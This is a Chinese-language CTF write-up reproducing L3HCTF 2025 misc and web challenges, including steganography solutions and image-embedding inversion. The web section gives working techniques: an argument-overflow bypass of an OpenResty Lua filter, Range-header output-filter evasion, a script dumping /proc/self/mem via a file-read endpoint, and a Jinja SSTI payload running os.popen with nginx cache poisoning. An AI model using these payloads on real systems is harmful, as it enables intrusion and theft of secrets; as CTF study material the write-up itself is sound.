0%

L3HCTF 2025部分复现

L3HCTF 2025部分复现

复现主要参考SU战队的wp https://su-team.cn/posts/e3fd1be7.html

misc

量子双生影

下载题目的附件得到了一个ai风格的二维码,但是之前不知道用什么工具
LoveLy-QRCode-Scanner

把附件给的图片用这个工具分析,得到flag is not here, but I can give you the key: “quantum”
然后很自然可以想到有数据隐写 ntfs数据流隐写
下载ntfsstreamseditor软件,得到备份数据。 https://www.duote.com/soft/10774.html#app-intro

在图片的属性中,可以看到两张图片的尺寸是一样的,所以将两个图片进行异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from PIL import Image

def xor_images(img1_path, img2_path, output_path="xor_result.png"):
# 加载并转换为RGB格式
img1 = Image.open(img1_path).convert("RGB")
img2 = Image.open(img2_path).convert("RGB")

if img1.size != img2.size:
raise ValueError("图片尺寸不一致,无法进行异或运算")

w, h = img1.size
result = Image.new("RGB", (w, h))

# 每像素逐位异或
for x in range(w):
for y in range(h):
r1, g1, b1 = img1.getpixel((x, y))
r2, g2, b2 = img2.getpixel((x, y))
result.putpixel((x, y), (
r1 ^ r2,
g1 ^ g2,
b1 ^ b2
))

result.save(output_path)
print(f"[+] 已保存异或图像为: {output_path}")

# 示例用法
if __name__ == "__main__":
xor_images('/Volumes/[C] Windows 11/Downloads/C!_Downloads_stream2.webp!stream1.webp', '/Volumes/[C] Windows 11/Downloads/stream2.webp', '/Users/kakeru/Downloads/a.png')

再用上面那个二维码工具提取到flag

Please Sign In

直接把题目喂给ai生成脚本,然后把生成的图片发送到服务器,就能得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import torch
from torchvision.models import shufflenet_v2_x1_0, ShuffleNet_V2_X1_0_Weights
from PIL import Image
import torchvision.transforms as transforms
import json

print("Step 1: Setting up the model and target embedding...")

# --- This part must EXACTLY match the server's setup ---
# 1.1 Load the same pre-trained model
model = shufflenet_v2_x1_0(weights=ShuffleNet_V2_X1_0_Weights.IMAGENET1K_V1)
model.fc = torch.nn.Identity() # Turn it into a feature extractor
model.eval() # Set it to evaluation mode

# 1.2 The target embedding vector from the problem description
target_embedding_list = [0.01141324918717146, 0.05113353952765465, ... , 0.03890109062194824] # Paste the full list here
target_embedding = torch.tensor(target_embedding_list, dtype=torch.float32).unsqueeze(0)

print(f"Model loaded. Target embedding shape: {target_embedding.shape}")

# --- Optimization Setup ---
# 2.1 Start with a random image (a tensor of random values)
# The model expects a 3-channel (RGB) image. Size doesn't matter too much, 224x224 is standard.
generated_image = torch.randn(1, 3, 224, 224, requires_grad=True)

# 2.2 Set up the optimizer. Adam is a good choice.
# It will update the pixels of `generated_image`.
optimizer = torch.optim.Adam([generated_image], lr=0.01)

# 2.3 Define the loss function (Mean Squared Error)
loss_fn = torch.nn.MSELoss()

print("\nStep 2: Starting the optimization process to generate the image...")
# --- The Main Loop ---
num_steps = 1000 # More steps can lead to better results
for i in range(num_steps):
# 3.1 Get the embedding of our current generated image
current_embedding = model(generated_image)

# 3.2 Calculate the loss
loss = loss_fn(current_embedding, target_embedding)

# 3.3 Backpropagation
optimizer.zero_grad() # Clear previous gradients
loss.backward() # Calculate new gradients
optimizer.step() # Update the image pixels

# 3.4 Clamp the image values to be in a valid range [0, 1]
with torch.no_grad():
generated_image.clamp_(0, 1)

if (i + 1) % 100 == 0:
print(f"Step {i+1}/{num_steps}, Loss: {loss.item():.10f}")

print("\nOptimization finished!")
print(f"Final Loss: {loss.item():.10f}")

# --- Save the Result ---
print("\nStep 3: Saving the generated image to 'generated_image.png'...")

# Convert the final tensor to a PIL image and save it
final_image_tensor = generated_image.squeeze(0)
to_pil = transforms.ToPILImage()
final_image = to_pil(final_image_tensor)
final_image.save("generated_image.png")

print("✅ Done! Submit 'generated_image.png' to the server.")

PaperBack

这题很有意思,跟着wp复现的
题目描述:Someone thought paper could replace a CD. Turns out… they weren’t entirely wrong. Can you read between the dots? Btw, I really like OllyDbg.
搜索PaperBack,知道这是一种存储数据的方式

下载这个文件,扫描不冒泡得到一个ws文件,放到cyberchef中,转成hex

这里一共就20 09 0d 0a 这几种字符 0d0a又是对应着\r\n 把它们换成换行

接下来是最妙的一步,把单行出现的09忽略,然后把20对应0,19对应1
还有wp中没说的,把每行的最后8位提取出来,因为这样才是有意义的字符

web

gateway_advance

下载题目附件 得到nginx.conf文件 配置文件中给了一些借口
static映射到/www目录。 download可以将请求代理到localhost/static read_anywhere可以读取任意文件,但是需要password
并且flag和password在一开始都删除了,需要在内存中找 /proc/{pid}/fd/{fd} 来访问它的内容
先来看download路由,有一些过滤

1
2
3
4
5
6
7
8
9
10
11
12
location /download {
access_by_lua_block {
local blacklist = {"%.", "/", ";", "flag", "proc"}
local args = ngx.req.get_uri_args()
for k, v in pairs(args) do
for _, b in ipairs(blacklist) do
if string.find(v, b) then
ngx.exit(403)
end
end
end
}

搜索知道ngx.req.get_uri_args存在参数溢出漏洞https://www.anquanke.com/post/id/103771
安全检测只在前100个参数中,第101个参数不会检测,所以构造101个参数

现在可以成功读取文件了。
但是还有一个输出过滤

1
2
3
4
5
6
7
8
body_filter_by_lua_block {
local blacklist = {"flag", "l3hsec", "l3hctf", "password", "secret", "confidential"}
for _, b in ipairs(blacklist) do
if string.find(ngx.arg[1], b) then
ngx.arg[1] = string.rep("*", string.len(ngx.arg[1]))
end
end
}

对于这个限制可以用Range 头来绕过,Range头允许客户端指定需要获取的资源字节范围,实现断点续传和分块下载功能。
密码在内存中,并且有进程在打开它,所以在/proc/self/fd/{fd}中找 最后是在6中
然后用range头截取最后得到passwordpasswordismemeispasswordsoneverwannagiveyouup

获得密码之后就可以在read_anywhere路由读取任意文件了,先去/proc/self/maps读取内存映射

1
2
3
4
5
6
7
8
9
10
11
12
location /read_anywhere {
access_by_lua_block {
if ngx.var.http_x_gateway_password ~= password then
ngx.say("go find the password first!")
ngx.exit(403)
end
}
content_by_lua_block {
local f = io.open(ngx.var.http_x_gateway_filename, "r")
if not f then
ngx.exit(404)
end

password放在X-Gateway-Password中 想要读取的文件放在X-Gateway-Filename请求头中

得到内存映射之后,有两种方式得到flag,一种是把内存映射给ai生成脚本,扫描得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import requests
import re

# --- 配置区 ---
URL = "http://1.95.8.146:17794/read_anywhere"
PASSWORD = "passwordismemeispasswordsoneverwannagiveyouup"
FLAG_PREFIX = b"L3HCTF{"

# 从题目中获取的内存映射 (maps)
maps_data = """
55c2a3295000-55c2a32d9000 r--p 00000000 00:38 672253 /usr/local/openresty/nginx/sbin/nginx
55c2a32d9000-55c2a3451000 r-xp 00044000 00:38 672253 /usr/local/openresty/nginx/sbin/nginx
55c2a3451000-55c2a34b9000 r--p 001bc000 00:38 672253 /usr/local/openresty/nginx/sbin/nginx
55c2a34b9000-55c2a34bc000 r--p 00224000 00:38 672253 /usr/local/openresty/nginx/sbin/nginx
55c2a34bc000-55c2a34e1000 rw-p 00227000 00:38 672253 /usr/local/openresty/nginx/sbin/nginx
55c2a34e1000-55c2a35b2000 rw-p 00000000 00:00 0
55c2cf9bd000-55c2cf9be000 ---p 00000000 00:00 0 [heap]
55c2cf9be000-55c2cf9c3000 rw-p 00000000 00:00 0 [heap]
7f416f604000-7f416fa53000 rw-p 00000000 00:00 0
7f416fa53000-7f416fa54000 rw-s 00000000 00:01 5167 /dev/zero (deleted)
7f416fa54000-7f416fb6d000 rw-p 00000000 00:00 0
7f416fb74000-7f416fb76000 rw-p 00000000 00:00 0
"""

def find_flag():
"""
遍历内存映射,读取可疑区域并搜索Flag。
"""
print("[*] 开始扫描进程内存以寻找Flag...")

# 解析maps数据,只获取可读写(rw-p)的区域
target_regions = []
for line in maps_data.strip().split('\n'):
if 'rw-p' in line:
parts = line.split()
address_range = parts[0]
start_hex, end_hex = address_range.split('-')
target_regions.append((start_hex, end_hex))
print(f"[+] 发现目标内存区域: {address_range}")

# 准备HTTP请求头
headers = {
'X-Gateway-Password': PASSWORD,
'X-Gateway-Filename': '/proc/self/mem'
}

# 遍历目标区域
for start_hex, end_hex in target_regions:
start_dec = int(start_hex, 16)
end_dec = int(end_hex, 16)
length = end_dec - start_dec

print(f"\n[*] 正在扫描区域 {start_hex}-{end_hex} (大小: {length} 字节)...")

# Nginx配置中限制了单次读取最大1MB,所以我们需要分块读取
chunk_size = 1024 * 1024
for offset in range(0, length, chunk_size):
current_start = start_dec + offset
# 计算当前块的长度,确保不超过区域边界
current_length = min(chunk_size, length - offset)

headers['X-Gateway-Start'] = str(current_start)
headers['X-Gateway-Length'] = str(current_length)

try:
response = requests.get(URL, headers=headers, timeout=20)
if response.status_code == 200:
# 在返回的二进制内容中搜索Flag前缀
if FLAG_PREFIX in response.content:
print("\n" + "="*40)
print(f"🎉🎉🎉 找到Flag了!位于内存区域 {start_hex} 附近。")

# 从返回内容中提取完整的Flag
# 使用正则表达式以防flag中有特殊字符
match = re.search(b'(L3HCTF\\{.*?\\})', response.content)
if match:
flag = match.group(0).decode('utf-8', 'ignore')
print(f"🚩 FLAG: {flag}")
else:
print("[!] 找到了前缀,但无法完整提取。原始数据如下:")
print(response.text)

print("="*40)
return # 找到后结束脚本
else:
# 打印一个点表示进度
print(".", end="", flush=True)

else:
print(f"[!] 服务器返回错误: {response.status_code}")

except requests.exceptions.RequestException as e:
print(f"[!] 请求失败: {e}")

print("\n\n[*] 所有可疑区域扫描完毕,未找到Flag。请检查配置或内存映射。")

if __name__ == "__main__":
find_flag()


一种是本地起环境,在nginx配置文件后面加上一段

1
2
3
4
5
6
7
init_by_lua_block {
# 在最后加上一段
print(tostring(flag))
local ffi = require("ffi")
local ptr = ffi.cast("const char*", flag)
print("Address: ", tostring(ptr))
}

得到flag的内存位置

1
2
3
4
5
6
GET /read_anywhere HTTP/1.1
Host: Your_host
X-Gateway-Password: test_password
X-Gateway-Filename: /proc/self/mem
X-Gateway-Start: 0x7e07636f3000
X-Gateway-Length: 0x100000

best_profile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def route_ip_detail(username):
res = requests.get(f"http://127.0.0.1/get_last_ip/{username}")
if res.status_code != 200:
return "Get last ip failed."
last_ip = res.text
try:
ip = re.findall(r"\d+\.\d+\.\d+\.\d+", last_ip)
country = geoip2_reader.country(ip)
except (ValueError, TypeError):
country = "Unknown"
template = f"""
<h1>IP Detail</h1>
<div>{last_ip}</div>
<p>Country:{country}</p>
"""
return render_template_string(template)

/ip_detail/<string:username>路由中存在ssti
首先要创建一个用户,并且要以特定后缀名结尾 后续用来web缓存投毒

1
2
3
4
5
6
7
8
9
10
11
12
13
location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ {
proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
proxy_pass http://127.0.0.1:5000;
proxy_cache static;
proxy_cache_valid 200 302 30d;
}

location ~ .*\.(js|css)?$ {
proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
proxy_pass http://127.0.0.1:5000;
proxy_cache static;
proxy_cache_valid 200 302 12h;
}

然后调用"/<string:username>" 接口来保存当前的IP地址。
服务器使用了Nginx作为反向代理,所以request.remote_addr这个值实际上是从X-Forwarded-For这个HTTP请求头中获取的
payload:

1
{{ cycler.__init__.__globals__.os.popen(request.args.c).read() }}

调用”/get_last_ip/string:username“接口来缓存响应。当下次我们再调用这个接口时,我们不再需要Cookie(也就是session),因为响应已经被Nginx缓存了。
最后调用”/ip_detail/string:username“接口来触发SSTI漏洞。

/ip_detail/user.bmp?c=cat%20/flag